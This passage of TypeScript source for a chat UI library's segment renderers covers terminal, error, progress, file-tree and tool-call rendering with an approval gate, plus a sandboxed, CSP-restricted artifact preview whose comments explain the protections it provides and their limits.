</div>\n </div>\n ${segment.output ? `<div class=\"terminal-output\">${escapeHtml(segment.output)}</div>` : ''}\n ${segment.exitCode !== undefined && segment.exitCode !== 0\n ? `<div class=\"terminal-error\">Command failed with exit code ${segment.exitCode}</div>`\n : ''}\n </div>\n `,\n setup: (element) => {\n const copyBtn = element.querySelector('.terminal-copy-btn');\n const command = element.querySelector('.terminal-command');\n if (copyBtn && command) {\n copyBtn.addEventListener('click', () => {\n // Late execution (user click) — resolve from the element.\n void navigator.clipboard.writeText(command.textContent || '').catch(() => { /* best-effort: a failed clipboard write degrades silently */ });\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('check');\n copyBtn.setAttribute('title', contextConfig(copyBtn).t('copied'));\n setTimeout(() => {\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('copy');\n copyBtn.setAttribute('title', contextConfig(copyBtn).t('copy'));\n }, 1500);\n });\n }\n\n // Run button dispatches a custom event\n const runBtn = element.querySelector('.terminal-run-btn');\n if (runBtn) {\n runBtn.addEventListener('click', () => {\n const segmentId = element.getAttribute('data-segment-id');\n element.dispatchEvent(new CustomEvent('aparte-terminal-run', {\n bubbles: true,\n composed: true,\n detail: {\n segmentId,\n command: command?.textContent || ''\n }\n }));\n });\n }\n },\n getStyles: () => ``\n};\n","/**\n * A failed turn, rendered in the transcript rather than thrown.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport type {\n AparteSegmentRenderer,\n AparteErrorSegment,\n} from '../../types/index.js';\n\nexport const errorRenderer: AparteSegmentRenderer<AparteErrorSegment> = {\n type: 'error',\n render: (segment) => {\n // A registered error renderer (aparteGlobalConfig.setErrorRenderer) owns the error\n // UI — the one place to customize it, string or live HTMLElement.\n const custom = contextConfig().getErrorRenderer?.();\n if (custom) {\n const out = custom({ message: segment.content, details: segment.details });\n if (out instanceof HTMLElement) {\n // Tag the root so in-place segment updates can still target it.\n out.setAttribute('data-segment-id', segment.id);\n return out;\n }\n return out;\n }\n return `\n <div class=\"segment segment-error\" data-segment-id=\"${escapeHtml(segment.id)}\">\n <div class=\"error-icon-wrapper\">\n ${contextConfig().getIcon('error') || '⚠'}\n </div>\n <div class=\"error-content\">\n <div class=\"error-title\">Error</div>\n <div class=\"error-message\">${escapeHtml(segment.content)}</div>\n ${segment.details ? `<div class=\"error-details\">${escapeHtml(segment.details)}</div>` : ''}\n </div>\n </div>\n `;\n },\n getStyles: () => ``\n};\n","/**\n * A long-running step reporting itself.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport type {\n AparteSegmentRenderer,\n AparteProgressSegment,\n} from '../../types/index.js';\n\nexport const progressRenderer: AparteSegmentRenderer<AparteProgressSegment> = {\n type: 'progress',\n render: (segment) => {\n const label = escapeHtml(segment.label || 'Progress');\n const pct = Math.round(segment.percent || 0);\n return `<div class=\"segment segment-progress\" data-segment-id=\"${escapeHtml(segment.id)}\"><div class=\"progress-header\"><span class=\"progress-label\">${label}</span><span class=\"progress-value\">${pct}%</span></div><div class=\"progress-bar\" role=\"progressbar\" aria-valuemin=\"0\" aria-valuemax=\"100\" aria-valuenow=\"${pct}\" aria-label=\"${label}\"><div class=\"progress-fill\" style=\"width: ${pct}%\"></div></div></div>`;\n },\n getStyles: () => ``\n};\n","/**\n * A file tree, rendered recursively.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport type {\n AparteSegmentRenderer,\n AparteFileNode,\n AparteFileTreeSegment,\n} from '../../types/index.js';\n\nfunction renderFileNode(node: AparteFileNode, depth = 0): string {\n const indent = depth * 16;\n const icon = node.type === 'directory' ? '📁' : '📄';\n const statusClass = node.status ? `file-status-${escapeHtml(node.status)}` : '';\n\n let html = `<div class=\"file-node ${statusClass}\" style=\"padding-left: ${indent}px\"><span class=\"file-icon\">${icon}</span><span class=\"file-name\">${escapeHtml(node.name)}</span></div>`;\n\n if (node.children) {\n for (const child of node.children) {\n html += renderFileNode(child, depth + 1);\n }\n }\n\n return html;\n}\n\nexport const fileTreeRenderer: AparteSegmentRenderer<AparteFileTreeSegment> = {\n type: 'file-tree',\n render: (segment) => {\n let filesHtml = '';\n if (segment.files) {\n for (const file of segment.files) {\n filesHtml += renderFileNode(file, 0);\n }\n }\n\n return `<div class=\"segment segment-file-tree\" data-segment-id=\"${escapeHtml(segment.id)}\">${segment.title ? `<div class=\"file-tree-title\">${escapeHtml(segment.title)}</div>` : ''}<div class=\"file-tree-content\">${filesHtml}</div></div>`;\n },\n getStyles: () => ``\n};\n","/**\n * A tool call and its result — the biggest of the nine, and the one an app most often replaces.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml, escapeAttr } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport type {\n AparteSegmentRenderer,\n AparteToolCallSegment,\n} from '../../types/index.js';\n\nexport const toolCallRenderer: AparteSegmentRenderer<AparteToolCallSegment> = {\n type: 'tool_call',\n render: (segment) => {\n const name = segment.toolCall?.name ?? 'tool';\n const status = segment.status ?? 'pending';\n const toolCallId = segment.toolCall?.id ?? '';\n\n // Human-in-the-loop gate — built-in Approve/Reject. Shown even when a\n // per-tool renderer exists: approval precedes the tool's own UI.\n if (status === 'awaiting-approval') {\n const loc = contextConfig().getLocale();\n const approve = loc.approveTool ?? 'Approve';\n const reject = loc.rejectTool ?? 'Reject';\n return `\n <div class=\"segment segment-tool-call\" data-segment-id=\"${escapeHtml(segment.id)}\" data-status=\"awaiting-approval\" data-tool-call-id=\"${escapeAttr(toolCallId)}\">\n <span class=\"tool-pill\">\n <span class=\"tool-pill-icon\">${contextConfig().getIcon('tool')}</span>\n <span class=\"tool-pill-name\">${escapeHtml(name)}</span>\n </span>\n <span class=\"tool-approval\" role=\"group\" aria-label=\"${escapeAttr(name)}\">\n <button type=\"button\" class=\"tool-approve-btn\" data-tool-decision=\"approve\" aria-label=\"${escapeAttr(approve)}\">${escapeHtml(approve)}</button>\n <button type=\"button\" class=\"tool-reject-btn\" data-tool-decision=\"reject\" aria-label=\"${escapeAttr(reject)}\">${escapeHtml(reject)}</button>\n </span>\n </div>\n `;\n }\n\n // Delegate to a per-tool renderer if one is registered. It may return an\n // HTMLElement — the arm that has no innerHTML surface at all, and the one a\n // consumer should reach for, since the segment carries model-chosen input.\n const customRenderer = contextConfig().getToolRenderer(segment.toolCall?.name);\n if (customRenderer) {\n const out = customRenderer.render(segment);\n if (out) return out;\n }\n\n // Status/tool glyphs come from the icon provider (fallbacks: ✓ / ✕ / 🔧)\n // so icon packs and skins restyle the pill like everything else.\n const statusIcon = status === 'resolved' ? contextConfig().getIcon('check') : (status === 'aborted' || status === 'rejected') ? contextConfig().getIcon('close') : '';\n const spinner = status === 'pending'\n ? `<span class=\"tool-pill-spinner\" aria-hidden=\"true\"></span>`\n : '';\n return `\n <div class=\"segment segment-tool-call\" data-segment-id=\"${escapeHtml(segment.id)}\" data-status=\"${escapeAttr(status)}\">\n <span class=\"tool-pill\">\n <span class=\"tool-pill-icon\">${contextConfig().getIcon('tool')}</span>\n <span class=\"tool-pill-name\">${escapeHtml(name)}</span>\n ${spinner}\n ${statusIcon ? `<span class=\"tool-pill-status\">${statusIcon}</span>` : ''}\n </span>\n </div>\n `;\n },\n setup: (element, segment) => {\n // Built-in approval gate: wire Approve/Reject → aparte-tool-decision.\n if (segment.status === 'awaiting-approval') {\n const toolCallId = segment.toolCall?.id;\n if (!toolCallId) return;\n // `targetId` is stamped for a consumer's own listener; the client itself\n // scopes on DOM containment, which a model-chosen id cannot forge.\n const host = element.closest('[data-aparte-host], aparte-chat, aparte-chat-viewport') as HTMLElement | null;\n const decide = (approved: boolean) => element.dispatchEvent(new CustomEvent('aparte-tool-decision', {\n bubbles: true, composed: true, detail: { toolCallId, approved, targetId: host?.id || undefined }\n }));\n element.querySelector('[data-tool-decision=\"approve\"]')?.addEventListener('click', () => decide(true));\n element.querySelector('[data-tool-decision=\"reject\"]')?.addEventListener('click', () => decide(false));\n return;\n }\n // Delegate setup to per-tool renderer if registered\n const customRenderer = contextConfig().getToolRenderer(segment.toolCall?.name);\n customRenderer?.setup?.(element, segment);\n },\n getStyles: () => `\n .segment-tool-call { display: flex; padding: 2px 0; }\n .tool-pill {\n display: inline-flex;\n align-items: center;\n gap: 5px;\n padding: 3px 10px 3px 7px;\n border-radius: 99px;\n font-size: 0.78rem;\n font-weight: 500;\n border: 1px solid var(--aparte-border, rgba(0,0,0,0.12));\n background: var(--aparte-surface, #f8f8f8);\n color: var(--aparte-text-secondary, rgba(0,0,0,0.55));\n user-select: none;\n }\n [data-status=\"resolved\"] .tool-pill {\n border-color: var(--aparte-success-border, rgba(34,197,94,0.3));\n background: var(--aparte-success-surface, rgba(34,197,94,0.06));\n color: var(--aparte-success, rgb(21,128,61));\n }\n [data-status=\"aborted\"] .tool-pill,\n [data-status=\"rejected\"] .tool-pill {\n border-color: var(--aparte-error-border, rgba(239,68,68,0.3));\n background: var(--aparte-error-surface, rgba(239,68,68,0.06));\n color: var(--aparte-error, rgb(185,28,28));\n }\n .tool-approval { display: inline-flex; gap: 6px; margin-left: 8px; vertical-align: middle; }\n .tool-approve-btn, .tool-reject-btn {\n font: inherit; font-size: 0.78rem; font-weight: 600; line-height: 1;\n padding: 4px 12px; border-radius: 99px; cursor: pointer;\n border: 1px solid var(--aparte-border, rgba(0,0,0,0.12));\n background: var(--aparte-surface, #f8f8f8);\n }\n .tool-approve-btn { color: var(--aparte-success, rgb(21,128,61)); border-color: var(--aparte-success-border, rgba(34,197,94,0.4)); }\n .tool-reject-btn { color: var(--aparte-error, rgb(185,28,28)); border-color: var(--aparte-error-border, rgba(239,68,68,0.4)); }\n .tool-approve-btn:hover { background: var(--aparte-success-surface, rgba(34,197,94,0.1)); }\n .tool-reject-btn:hover { background: var(--aparte-error-surface, rgba(239,68,68,0.1)); }\n .tool-pill-spinner {\n width: 10px; height: 10px;\n border: 1.5px solid currentColor;\n border-top-color: transparent;\n border-radius: 50%;\n display: inline-block;\n animation: tool-spin 0.7s linear infinite;\n }\n .tool-pill-status { font-size: 0.75rem; }\n @keyframes tool-spin { to { transform: rotate(360deg); } }\n `\n};\n","/**\n * The waiting indicator between pipeline stages.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport type {\n AparteSegmentRenderer,\n} from '../../types/index.js';\n\nexport const pipelineWaitingRenderer: AparteSegmentRenderer = {\n type: 'pipeline-waiting',\n render: (segment) => {\n return `\n <div class=\"segment segment-pipeline-waiting\" data-segment-id=\"${escapeHtml(segment.id)}\" aria-label=\"Generating…\" role=\"status\">\n <span class=\"pw-dot\"></span>\n <span class=\"pw-dot\"></span>\n <span class=\"pw-dot\"></span>\n </div>`;\n },\n update: () => { /* nothing to update */ },\n setup: (el) => {\n // Auto-remove when a sibling segment appears after this element.\n // This makes it a true \"last-child only\" segment — no manual removeSegment needed.\n const parent = el.parentElement;\n if (!parent) return;\n const observer = new MutationObserver(() => {\n if (el.nextElementSibling) {\n observer.disconnect();\n el.remove();\n }\n });\n observer.observe(parent, { childList: true });\n },\n getStyles: () => `\n .segment-pipeline-waiting {\n display: flex;\n align-items: center;\n gap: 5px;\n padding: 6px 2px;\n min-height: 28px;\n }\n .pw-dot {\n display: inline-block;\n width: 8px;\n height: 8px;\n border-radius: 50%;\n background: var(--aparte-text-muted, #6b7280);\n opacity: 0.3;\n animation: pw-pulse 1.2s ease-in-out infinite;\n }\n .pw-dot:nth-child(2) { animation-delay: 0.2s; }\n .pw-dot:nth-child(3) { animation-delay: 0.4s; }\n @keyframes pw-pulse {\n 0%, 80%, 100% { opacity: 0.3; transform: scale(0.85); }\n 40% { opacity: 1; transform: scale(1.1); }\n }\n `\n};\n","/**\n * The leaves the artifact card and the binary-file path BOTH use.\n *\n * Scoped by a call-site census, not by intuition. The obvious-looking candidates are\n * not here: `BINARY_FILE_KINDS` reads as shared and is used only by the card (which\n * consults it to delegate), `PREVIEWABLE_KINDS`, `languageForKind` and\n * `downloadTextArtifact` are card-only, and `FILE_ICON_LABEL` and `formatBytes` are\n * binary-only. A first draft of this module took all of them and would have been a\n * grab-bag named for one of its three jobs.\n *\n * What is genuinely shared is small: fence stripping (which the plain code renderer\n * needs too), the kind→label map, and the throttle pair behind the debounced\n * re-highlight.\n */\nimport { contextConfig } from '../../../config/index.js';\n\n\n/**\n * Strip leading/trailing markdown code fences (``` or ~~~, optional lang tag).\n * Also strips any content that appears after the closing fence (small models\n * frequently duplicate lines after the closing ``` block).\n *\n * Char-based scanner — no regex.\n */\nexport function stripCodeFences(content: string): string {\n let s = content;\n\n // Opening fence: leading ``` or ~~~ (3+) optionally followed by language tag,\n // then a newline. Walk the start of the string only.\n if (s.startsWith('```') || s.startsWith('~~~')) {\n const fenceChar = s[0];\n let i = 0;\n while (i < s.length && s[i] === fenceChar) i++;\n // Skip language tag chars (anything until newline)\n while (i < s.length && s[i] !== '\\n') i++;\n // Skip the newline itself if present\n if (i < s.length && s[i] === '\\n') i++;\n s = s.slice(i);\n }\n\n // Closing fence: scan forward to find a line that is exclusively `````/`~~~`+\n // optionally followed by trailing whitespace; cut there + everything after.\n const closeAt = findClosingFence(s);\n if (closeAt !== -1) s = s.slice(0, closeAt);\n\n return s.trim();\n}\n\n/** Find the byte offset where a closing fence line begins, or -1 if none. */\nfunction findClosingFence(s: string): number {\n let i = 0;\n while (i < s.length) {\n // Find start of next line\n const lineStart = i;\n // Skip leading whitespace on this line (indentation)\n let k = lineStart;\n while (k < s.length && (s[k] === ' ' || s[k] === '\\t')) k++;\n if (k < s.length && (s[k] === '`' || s[k] === '~')) {\n const fenceChar = s[k];\n let runs = 0;\n while (k < s.length && s[k] === fenceChar) { runs++; k++; }\n if (runs >= 3) {\n // The rest of the line should be whitespace only — otherwise\n // it's not a closing fence (e.g. inline backtick text).\n let onlyWs = true;\n while (k < s.length && s[k] !== '\\n') {\n if (s[k] !== ' ' && s[k] !== '\\t' && s[k] !== '\\r') { onlyWs = false; break; }\n k++;\n }\n if (onlyWs) {\n // Cut at start of this line; if a `\\n` precedes, drop it too\n let cut = lineStart;\n if (cut > 0 && s[cut - 1] === '\\n') cut--;\n return cut;\n }\n }\n }\n // Advance to next line\n while (i < s.length && s[i] !== '\\n') i++;\n if (i < s.length) i++;\n }\n return -1;\n}\n\n/**\n * Debounced syntax-highlight during streaming. Re-running Shiki on every\n * token chunk would saturate the main thread (50-100ms/highlight × 10\n * chunks/sec). We coalesce to one highlight every ~400ms, plus a final\n * highlight at stream-end (handled by the caller).\n */\nconst _lastHighlightAt = new Map<string, number>();\n\nexport function markThrottle(map: Map<string, number>, id: string, at: number): void {\n map.delete(id);\n if (map.size >= MAX_THROTTLE_ENTRIES) {\n const oldest = map.keys().next().value;\n if (oldest !== undefined) map.delete(oldest);\n }\n map.set(id, at);\n}\n\nexport function debounceHighlight(\n element: HTMLElement,\n paneSelector: string,\n content: string,\n lang: string,\n segId: string,\n): void {\n const now = Date.now();\n const last = _lastHighlightAt.get(segId) ?? 0;\n if (now - last < HIGHLIGHT_DEBOUNCE_MS) return;\n markThrottle(_lastHighlightAt, segId, now);\n // May run from a window-event callback (late) — resolve from the element.\n void contextConfig(element).highlightCode(content, lang).then(html => {\n const wrapper = element.querySelector<HTMLElement>(paneSelector);\n if (wrapper) wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n}\n\nexport function labelForKind(kind: string): string {\n switch (kind) {\n case 'react': return 'React component';\n case 'html': return 'HTML document';\n case 'svg': return 'SVG image';\n case 'js': return 'JavaScript snippet';\n case 'css': return 'CSS stylesheet';\n case 'json': return 'JSON document';\n case 'markdown': return 'Markdown document';\n case 'csv': return 'CSV table';\n case 'text': return 'Text file';\n case 'python': return 'Python script';\n case 'typescript': return 'TypeScript file';\n case 'bash': return 'Bash script';\n case 'sql': return 'SQL query';\n case 'pdf': return 'PDF generator';\n case 'xlsx': return 'Excel generator';\n case 'docx': return 'Word generator';\n default: return 'Artifact';\n }\n}\n\n/** Cap a segmentId→timestamp throttle map so a long session can't grow it without\n * bound (one entry per streamed segment). Values are timestamps (tiny), so the cap\n * is generous; delete-then-set refreshes recency, evict the oldest key when full.\n * Evicting a stale entry costs at most one extra highlight/dispatch — never\n * incorrect, since both debounce windows are far shorter than the cap horizon. */\nconst MAX_THROTTLE_ENTRIES = 256;\n\nconst HIGHLIGHT_DEBOUNCE_MS = 400;\n","/**\n * The artifact preview DOCUMENT — the security boundary of the artifact card.\n *\n * A previewable artifact is model-authored code rendered in a sandboxed iframe. What\n * that iframe is allowed to reach, and how the model's body is wrapped before it gets\n * there, is decided entirely here. Until now it decided it from line 1806 of a\n * 1900-line file, next to nine unrelated renderers.\n *\n * It is also a documented public override point:\n * `contextConfig().getArtifactPreviewBuilder() ?? buildSafePreviewDocument` means a\n * consumer can replace this whole document — so `buildSafePreviewDocument` is the\n * reference implementation their replacement is measured against, and it deserves to\n * be findable.\n *\n * Everything here is pure: `(kind, body, title) => string`. No config read, no DOM,\n * no state — which is why it can be tested directly and why moving it changes nothing.\n *\n * Two things travelled deliberately and must not be separated again:\n * • `PREVIEW_CSP` is used twice — as the iframe's `csp` attribute and as the\n * document's own `<meta http-equiv>`. Belt and braces: the attribute is not\n * honoured by Firefox or Safari, so the meta tag is the one that actually applies\n * there.\n * • `escapeClosingScriptTag` is listed by NAME in `scripts/escaping-names.mjs`, so\n * both escaping guards keep recognising it from its new home.\n */\nimport { escapeHtml, escapeAttr } from '../../../utils/escape.js';\n\n/**\n * What a previewed artifact is allowed to FETCH. Inline script and style are\n * permitted (that IS the preview); no fetch, no XHR, no websocket, no remote image,\n * no font. Without this the sandbox still lets injected code beacon out to any\n * origin, so the policy does real work — measured blocked in Chromium, Firefox and\n * WebKit.\n *\n * WHAT IT DOES NOT STOP, stated because the sentence here used to claim otherwise:\n * the frame NAVIGATING ITSELF. Assigning `location.href` is a navigation, not a\n * fetch, and no directive in this policy governs it — CSP's `navigate-to` was\n * removed from the spec and never shipped, and the parent page's `frame-src` does\n * not apply to a navigation the frame initiates. Reproduced in all three engines;\n * in Firefox and WebKit the frame then RENDERS the attacker's page inside the card,\n * which is a phishing surface as well as an exfiltration channel.\n *\n * What still holds, and is why this is serious rather than fatal: the sandbox has\n * no `allow-same-origin`, so the frame's origin is opaque — it cannot read the host\n * page, its storage, or the API key — and no `allow-forms` or\n * `allow-top-navigation`, so it can neither POST nor move the tab.\n *\n * The honest summary for a consumer: a previewed artifact cannot reach your page or\n * your data, and can phone home once. Previewing model-authored HTML is running\n * untrusted content in a box, not running nothing.\n */\nexport const PREVIEW_CSP = \"default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data:; font-src data:\";\n\n/**\n * The portable half of the preview containment.\n *\n * The iframe's `csp` attribute is Chromium-only, so the same policy also goes\n * INSIDE the document as a `<meta http-equiv>`, which every engine honours. Both\n * are declared; whichever the browser understands applies.\n *\n * A model-authored full document gets one too, which it previously did not.\n *\n * This used to insert the meta only after an existing `<head>` and skip the\n * document otherwise, justified as \"a `<meta>` cannot be prepended without\n * breaking the doctype\". That is not true — `<html>` may be followed by a `<head>`\n * we open ourselves — and it left the ONE case that needs the policy most (a\n * `<!doctype html>` document written entirely by the model, which is passed\n * through verbatim) with no `<meta>` at all. On Firefox and Safari, where the\n * `csp` attribute does nothing, that frame ran `allow-scripts` under no policy: it\n * could beacon out, and load remote script. So a `<head>` is now created when the\n * document has none.\n *\n * Containment that held regardless: `sandbox=\"allow-scripts\"` without\n * `allow-same-origin` gives an opaque origin, so the frame never reached the host\n * DOM, storage, or the API key.\n */\nfunction withMetaCsp(doc: string): string { // safe-text: doc is the model-authored artifact HTML this function INJECTS a CSP into — escaping it would destroy the document it is protecting\n const meta = `<meta http-equiv=\"Content-Security-Policy\" content=\"${escapeAttr(PREVIEW_CSP)}\">`;\n\n // FIRST, always — after the doctype when there is one, otherwise at the very\n // front. Not \"after the model's `<head>`\", which is what this used to do.\n //\n // A `<meta http-equiv>` policy governs only what FOLLOWS it, and the model\n // writes this document: it can put a `<script>` before its own `<head>`, or\n // before `<html>`. The parser hoists that script into an implicitly-opened\n // head, where it sits EARLIER in document order than a meta inserted after a\n // tag the model declared later — so the script ran outside the policy.\n // Reproduced end to end in Firefox, WebKit, and Chromium with the `csp`\n // attribute absent: the beacon fired. And since that attribute is\n // Chromium-only, on Firefox and Safari this meta is the frame's ONLY policy.\n //\n // Prepending is safe in every shape, which the previously-correct third branch\n // already demonstrated across all three engines: content before `<html>` is\n // hoisted into an implicit head, the model's own `<html>`/`<head>` then merge\n // into the one already open. One branch replaces three, and it is the branch\n // that was right.\n const doctype = doc.match(/^\\s*<!doctype[^>]*>/i);\n const at = doctype ? doctype[0].length : 0;\n return `${doc.slice(0, at)}<head>${meta}</head>${doc.slice(at)}`;\n}\n\nexport function buildSafePreviewDocument(kind: string, body: string, title: string): string {\n return withMetaCsp(buildPreviewBody(kind, body, title));\n}\n\nfunction buildPreviewBody(\n kind: string,\n body: string, // safe-text: the model-authored artifact SOURCE, wrapped for a sandboxed CSP-constrained iframe — escaping it would render the code as text, which is the bug the sandbox exists to avoid\n title: string,\n): string {\n switch (kind) {\n case 'html': {\n if (startsWithDoctype(body)) return body;\n return `<!doctype html><html><head><meta charset=\"utf-8\"/><meta name=\"viewport\" content=\"width=device-width,initial-scale=1\"/><title>${escapeAttr(title)}</title></head><body>${body}</body></html>`;\n }\n case 'svg':\n return `<!doctype html><html><head><meta charset=\"utf-8\"/><title>${escapeAttr(title)}</title>\n<style>html,body{margin:0;height:100%;display:flex;align-items:center;justify-content:center;background:#fff}svg{max-width:90%;max-height:90%}</style>\n</head><body>${body}</body></html>`;\n case 'js': {\n const safeBody = escapeClosingScriptTag(body);\n return `<!doctype html><html><head><meta charset=\"utf-8\"/><title>${escapeAttr(title)}</title>\n<style>body{margin:0;font-family:ui-sans-serif,system-ui,sans-serif;padding:1rem;background:#fff;color:#0f172a}</style>\n</head><body><div id=\"root\"></div><script>\ntry { ${safeBody}\n} catch (e) { document.getElementById('root').innerHTML = '<pre style=\"color:#b91c1c\">' + (e && e.stack || e) + '</pre>'; }\n</script></body></html>`;\n }\n case 'css':\n return `<!doctype html><html><head><meta charset=\"utf-8\"/><title>${escapeAttr(title)}</title>\n<style>${body}</style></head><body>\n<div class=\"demo\">\n <h1>Heading</h1>\n <p>Paragraph with a <a href=\"#\">link</a> and <strong>strong</strong> text.</p>\n <button>Button</button>\n <input placeholder=\"Input\"/>\n <ul><li>One</li><li>Two</li><li>Three</li></ul>\n</div></body></html>`;\n default:\n // react / unknown — no live preview offline; show the code read-only.\n return `<!doctype html><html><head><meta charset=\"utf-8\"/><title>${escapeAttr(title)}</title>\n<style>body{margin:0;font-family:ui-monospace,SFMono-Regular,Menlo,monospace;padding:1rem;background:#fff;color:#0f172a}pre{white-space:pre-wrap;word-break:break-word;margin:0}</style>\n</head><body><pre>${escapeHtml(body)}</pre></body></html>`;\n }\n}\n\n/** Char-based check for `<!doctype` (case-insensitive) at start of string,\n * ignoring leading whitespace. */\nfunction startsWithDoctype(s: string): boolean {\n let i = 0;\n while (i < s.length && (s[i] === ' ' || s[i] === '\\t' || s[i] === '\\n' || s[i] === '\\r')) i++;\n const probe = s.slice(i, i + 9).toLowerCase();\n return probe === '<!doctype';\n}\n\n/** Escape any literal `</script` inside the body so it cannot terminate the\n * outer <script> tag we wrap user code in. The HTML spec closes a script on\n * `</script` followed by whitespace, `/` or `>` (not only the exact `</script>`),\n * so match the 8-char prefix + a terminator. Char-based. */\nfunction escapeClosingScriptTag(body: string): string {\n let out = '';\n let i = 0;\n while (i < body.length) {\n if (body[i] === '<' && body.slice(i, i + 8).toLowerCase() === '</script') {\n const next = body[i + 8];\n // A real closing tag needs a terminator after `</script` (space/tab/\n // newline/form-feed, `/`, `>`) or end-of-input.\n if (next === undefined || next === '/' || next === '>' || /\\s/.test(next)) {\n out += '<\\\\/script'; // neutralise the `<` so the browser sees no tag\n i += 8;\n continue;\n }\n }\n out += body[i];\n i++;\n }\n return out;\n}\n","/**\n * The binary-artifact path: pdf, xlsx, docx.\n *\n * A different LIFETIME from the artifact card, and that is the seam — not the line\n * count. The card renders content that arrives in the stream and is complete when the\n * stream ends. This path renders a file ANOTHER process produces: core emits\n * `aparte-artifact-ready`, a host generates the bytes in a sandbox, and answers with\n * `aparte-file-gen-ready`. So it carries state that must survive the segment being\n * re-rendered — a preview cache keyed by segment id, a map of pending generations, and\n * a re-dispatch throttle — none of which the card has or wants.\n *\n * Both of those maps are bounded (`MAX_BINARY_ARTIFACTS`, `MAX_FILE_GEN_HANDLERS`),\n * because a page that streams artifacts for an hour must not grow without limit.\n *\n * `installArtifactReadyHook` lives here with the map it feeds, and is called from the\n * renderer-registration entry points rather than at module load — see its own comment\n * for why that matters to bundlers.\n */\nimport { escapeHtml } from '../../../utils/escape.js';\nimport { contextConfig } from '../../../config/index.js';\nimport type { AparteArtifactSegment } from '../../../types/index.js';\nimport { stripCodeFences, labelForKind, markThrottle, debounceHighlight } from './shared.js';\n\n\nconst FILE_ICON_LABEL: Record<string, string> = {\n xlsx: 'XLS',\n pdf: 'PDF',\n docx: 'DOC',\n};\n\n/**\n * Module-level cache of sandbox-produced previews keyed by segment.id.\n * Lets re-mounts (branch switch, conversation toggle, persisted reload after\n * a previous mount) restore the preview instantly without re-running the\n * sandbox. Lifetime = current page session; cleared on full reload.\n */\ntype CachedPreview = {\n buffer: Uint8Array | ArrayBuffer;\n mime: string;\n name: string;\n bytes: number;\n previewHtml: string | null;\n};\n\nconst _binaryArtifactCache = new Map<string, CachedPreview>();\n\n/** Cap the binary-artifact cache: each entry holds a full file buffer, so an\n * unbounded Map would grow for the page's lifetime over a long session. */\nconst MAX_BINARY_ARTIFACTS = 24;\n\nexport function cacheBinaryArtifact(id: string, entry: CachedPreview): void {\n // delete-then-set refreshes recency; evict the oldest (first) key when full.\n _binaryArtifactCache.delete(id);\n if (_binaryArtifactCache.size >= MAX_BINARY_ARTIFACTS) {\n const oldest = _binaryArtifactCache.keys().next().value;\n if (oldest !== undefined) _binaryArtifactCache.delete(oldest);\n }\n _binaryArtifactCache.set(id, entry);\n}\n\n/** segmentId → cleanup for the file-gen window listeners (one live pair/segment). */\nconst _fileGenHandlers = new Map<string, () => void>();\n\n/** Cap the live file-gen handler map: a generation that never terminates (the\n * conversation is cleared/switched mid-flight, or no FileGenService is wired) would\n * otherwise keep its two window listeners for the page's lifetime. */\nconst MAX_FILE_GEN_HANDLERS = 32;\n\n/**\n * Tracks when an `aparte-artifact-ready` was last dispatched per segment, so\n * setup() rehydration doesn't fire a duplicate dispatch while a previous\n * sandbox run is still in flight (would trigger \"Sandbox is busy\" errors).\n * Populated both by aparte-client's natural dispatch (hook below) AND by our\n * own rehydration dispatches.\n */\nconst _lastDispatchAt = new Map<string, number>();\n\nconst RE_DISPATCH_DEBOUNCE_MS = 30_000;\n\nlet _artifactReadyHookInstalled = false;\n\n/**\n * Record every `aparte-artifact-ready` so the binary-artifact path can tell whether\n * it has already asked the host to generate this file — see the dedupe at\n * {@link maybeRehydrateBinaryArtifact}, which is the only reader.\n *\n * ## Why this is a function and not a module-level `addEventListener`\n *\n * It WAS module-level, and it was surviving bundling by luck.\n * `packages/core/package.json` declares `sideEffects` as a short list that does NOT\n * include this file — so the module is advertised to bundlers as side-effect-FREE while\n * carrying a top-level listener, which is a side effect. It was retained only\n * because `artifactRenderer` in the same module is a used binding; a bundler was\n * within its rights to drop the file and the listener with it, and pdf/xlsx/docx\n * artifacts would then stop regenerating in a consumer's production build while\n * every local check stayed green. Verified as surviving today in a real Vite build\n * of the Svelte example — but \"it happens to survive\" is not a contract.\n *\n * `sideEffects` cannot simply be corrected to name this file, either: the build\n * bundles into a CONTENT-HASHED shared chunk, so there is no stable path to list.\n *\n * Installed from the two registration entry points instead. That is not later in\n * any way that matters: an artifact can only render once a renderer is registered,\n * and the map is read only while rendering one.\n */\nexport function installArtifactReadyHook(): void {\n if (_artifactReadyHookInstalled || typeof window === 'undefined') return;\n _artifactReadyHookInstalled = true;\n window.addEventListener('aparte-artifact-ready', (event: Event) => {\n const segId = (event as CustomEvent).detail?.segmentId as string | undefined;\n if (segId) markThrottle(_lastDispatchAt, segId, Date.now());\n });\n}\n\nexport function renderBinaryFileArtifact(segment: AparteArtifactSegment, kind: string): string {\n const title = segment.title?.trim() || labelForKind(kind);\n const iconLabel = FILE_ICON_LABEL[kind] ?? kind.toUpperCase();\n const isStreaming = !!segment.isStreaming;\n\n // Cache hit (branch switch back, re-render of an already-built segment) :\n // render in 'ready' state with the preview HTML so the user sees the\n // file immediately — no setup() round-trip required, which matters when\n // Angular reuses the DOM via trackBy and our setup may not re-fire.\n // Download on a binary artifact means \"app, re-generate this file\" — core holds\n // no bytes for pdf/xlsx/docx. No declaration, no button.\n const canRedownload = contextConfig().getHostHandlers().artifactRedownload;\n\n const cached = _binaryArtifactCache.get(segment.id);\n if (cached && !isStreaming) {\n const previewBody = cached.previewHtml\n ? 